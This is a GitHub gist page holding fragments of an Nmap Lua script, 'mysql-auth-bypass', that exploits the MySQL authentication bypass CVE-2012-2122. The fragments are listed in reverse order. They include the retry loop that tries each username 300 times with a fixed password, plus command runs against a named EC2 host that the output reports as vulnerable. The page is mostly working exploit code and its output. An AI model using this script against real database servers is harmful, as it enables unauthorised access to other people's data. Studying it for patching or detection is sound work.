Skip to content

Instantly share code, notes, and snippets.

View marcwickenden's full-sized avatar

MW marcwickenden

View GitHub Profile
@marcwickenden
marcwickenden / gist:2918314
Created June 12, 2012 15:47
mysql-auth-bypass nmap -v
# nmap -v -d --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args="userdb=usernames.txt" ec2-46-137-134-79.eu-west-1.compute.amazonaws.com
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:59 BST
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 1000, min 100, max 10000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 0
max-retries: 10, host-timeout: 0
min-rate: 0, max-rate: 0
@marcwickenden
marcwickenden / gist:2918310
Created June 12, 2012 15:46
mysql-auth-bypass nmap
# nmap --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args="userdb=usernames.txt" ec2-46-137-134-79.eu-west-1.compute.amazonaws.com
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:58 BST
Nmap scan report for ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79)
Host is up (0.050s latency).
PORT STATE SERVICE
3306/tcp open mysql
| mysql-auth-bypass:
|_ user nse is vulnerable to auth bypass
@marcwickenden
marcwickenden / file1.lua
Created June 12, 2012 15:39
mysql_auth_bypass format_output
return stdnse.format_output(true, result)
end
@marcwickenden
marcwickenden / gist:2918126
Created June 12, 2012 15:15
mysql-auth-bypass finish up
socket:close()
end
end
@marcwickenden
marcwickenden / gist:2918123
Created June 12, 2012 15:15
mysql-auth-bypass login
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
if response.errorcode == 0 then
table.insert(result, string.format("user %s is vulnerable to auth bypass", username ) )
break
end
@marcwickenden
marcwickenden / gist:2918119
Created June 12, 2012 15:14
mysql-auth-bypass greeting
status, response = mysql.receiveGreeting( socket )
if ( not(status) ) then
stdnse.print_debug(3, SCRIPT_NAME)
socket:close()
return response
end
@marcwickenden
marcwickenden / gist:2918117
Created June 12, 2012 15:13
mysql-auth-bypass loop
for username in usernames do
stdnse.print_debug( "Trying %s ...", username )
-- try up to 300 times to trigger the vuln
for i = 0, 300, 1 do
stdnse.print_debug(2, "attempt number %d", i )
local status, response = socket:connect(host, port)
if( not(status) ) then return " \n ERROR: Failed to connect to mysql server" end
@marcwickenden
marcwickenden / gist:2918113
Created June 12, 2012 15:12
mysql-auth-bypass timeout
-- set a reasonable timeout value
socket:set_timeout(5000)
-- get our usernames to try
local usernames = try(unpwdb.usernames())
local password = "cve-2012-2122"
@marcwickenden
marcwickenden / gist:2918108
Created June 12, 2012 15:11
mysql-auth-bypass action
action = function( host, port )
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local result = {}
@marcwickenden
marcwickenden / gist:2918098
Created June 12, 2012 15:10
mysql-auth-bypass portrule
portrule = shortport.port_or_service(3306, "mysql")